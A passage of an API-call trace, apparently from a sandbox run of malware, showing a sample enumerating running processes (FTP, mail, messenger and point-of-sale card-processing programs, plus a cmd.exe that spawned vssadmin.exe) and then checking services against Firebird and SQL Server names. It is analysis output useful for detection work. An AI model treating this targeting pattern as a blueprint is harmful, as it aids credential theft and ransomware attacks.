lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0079.772] lstrlenW (lpString="smartftp.exe") returned 12 [0079.772] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0079.772] lstrlenW (lpString="thunderbird.exe") returned 15 [0079.772] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0079.773] lstrlenW (lpString="totalcmd.exe") returned 12 [0079.773] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0079.773] lstrlenW (lpString="trillian.exe") returned 12 [0079.773] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0079.774] lstrlenW (lpString="webdrive.exe") returned 12 [0079.774] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0079.775] lstrlenW (lpString="whatsapp.exe") returned 12 [0079.775] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0079.776] lstrlenW (lpString="winscp.exe") returned 10 [0079.776] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0079.776] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0079.777] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0079.777] lstrlenW (lpString="active-charge.exe") returned 17 [0079.777] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0079.778] lstrlenW (lpString="accupos.exe") returned 11 [0079.778] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0079.778] lstrlenW (lpString="afr38.exe") returned 9 [0079.778] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0079.779] lstrlenW (lpString="aldelo.exe") returned 10 [0079.779] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0079.779] lstrlenW (lpString="ccv_server.exe") returned 14 [0079.779] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0079.780] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0079.780] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0079.780] lstrlenW (lpString="creditservice.exe") returned 17 [0079.781] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0079.781] lstrlenW (lpString="edcsvr.exe") returned 10 [0079.781] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0079.782] lstrlenW (lpString="fpos.exe") returned 8 [0079.782] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0079.782] lstrlenW (lpString="isspos.exe") returned 10 [0079.782] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0079.783] lstrlenW (lpString="mxslipstream.exe") returned 16 [0079.783] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0079.783] lstrlenW (lpString="omnipos.exe") returned 11 [0079.783] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0079.784] lstrlenW (lpString="spcwin.exe") returned 10 [0079.784] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0079.784] lstrlenW (lpString="spgagentservice.exe") returned 19 [0079.784] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0079.785] lstrlenW (lpString="utg2.exe") returned 8 [0079.785] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0079.785] lstrlenW (lpString="nj_sh.exe") returned 9 [0079.785] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0079.786] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0079.786] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0079.786] lstrlenW (lpString="telecommunications.exe") returned 22 [0079.786] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0079.787] lstrlenW (lpString="sound banking.exe") returned 17 [0079.787] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0079.787] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0079.788] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0079.788] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0079.788] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.788] lstrlenW (lpString="taskhost.exe") returned 12 [0079.789] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0079.789] lstrlenW (lpString="winhost.exe") returned 11 [0079.789] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0079.789] lstrlenW (lpString="cmd.exe") returned 7 [0079.790] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0079.790] lstrlenW (lpString="conhost.exe") returned 11 [0079.790] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0079.791] lstrlenW (lpString="vssadmin.exe") returned 12 [0079.791] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0079.791] lstrlenW (lpString="VSSVC.exe") returned 9 [0079.791] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.792] lstrlenW (lpString="svchost.exe") returned 11 [0079.792] Process32NextW (in: hSnapshot=0x218, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0079.792] CloseHandle (hObject=0x218) returned 1 [0079.792] Sleep (dwMilliseconds=0x1f4) [0080.387] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff00 [0080.388] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0080.389] GetLastError () returned 0xea [0080.389] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0080.389] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0080.390] CloseServiceHandle (hSCObject=0x52ff00) returned 1 [0080.391] lstrlenW (lpString="Appinfo") returned 7 [0080.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0080.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0080.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0080.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0080.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0080.391] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0080.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0080.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0080.391] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0080.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0080.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0080.391] lstrlenW (lpString="AudioSrv") returned 8 [0080.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0080.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0080.391] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0080.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0080.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0080.391] lstrlenW (lpString="BFE") returned 3 [0080.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0080.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0080.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0080.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0080.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0080.392] lstrlenW (lpString="CryptSvc") returned 8 [0080.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0080.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0080.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0080.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0080.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0080.392] lstrlenW (lpString="CscService") returned 10 [0080.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0080.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0080.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0080.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0080.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0080.392] lstrlenW (lpString="DcomLaunch") returned 10 [0080.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0080.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0080.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0080.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0080.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0080.392] lstrlenW (lpString="Dhcp") returned 4 [0080.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0080.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0080.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0080.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0080.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0080.392] lstrlenW (lpString="Dnscache") returned 8 [0080.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0080.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0080.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0080.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0080.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0080.393] lstrlenW (lpString="DPS") returned 3 [0080.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0080.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0080.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0080.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0080.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0080.393] lstrlenW (lpString="eventlog") returned 8 [0080.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0080.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0080.393] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0080.393] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0080.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0080.393] lstrlenW (lpString="EventSystem") returned 11 [0080.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0080.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0080.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0080.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0080.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0080.393] lstrlenW (lpString="gpsvc") returned 5 [0080.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0080.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0080.393] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0080.393] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0080.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0080.394] lstrlenW (lpString="iphlpsvc") returned 8 [0080.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0080.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0080.394] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0080.394] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0080.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0080.394] lstrlenW (lpString="LanmanServer") returned 12 [0080.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0080.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0080.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0080.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0080.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0080.394] lstrlenW (lpString="LanmanWorkstation") returned 17 [0080.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0080.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0080.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0080.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0080.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0080.394] lstrlenW (lpString="lmhosts") returned 7 [0080.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0080.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0080.394] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0080.394] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0080.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0080.394] lstrlenW (lpString="MMCSS") returned 5 [0080.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0080.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0080.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0080.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0080.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0080.395] lstrlenW (lpString="MpsSvc") returned 6 [0080.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0080.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0080.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0080.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0080.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0080.395] lstrlenW (lpString="Netman") returned 6 [0080.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0080.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0080.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0080.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0080.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0080.395] lstrlenW (lpString="netprofm") returned 8 [0080.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0080.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0080.395] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0080.395] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0080.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0080.395] lstrlenW (lpString="NlaSvc") returned 6 [0080.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0080.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0080.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0080.395] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0080.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0080.396] lstrlenW (lpString="nsi") returned 3 [0080.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0080.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0080.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0080.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0080.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0080.396] lstrlenW (lpString="PcaSvc") returned 6 [0080.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0080.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0080.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0080.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0080.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0080.396] lstrlenW (lpString="PlugPlay") returned 8 [0080.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0080.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0080.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0080.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0080.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0080.396] lstrlenW (lpString="Power") returned 5 [0080.396] lstrcmpiW 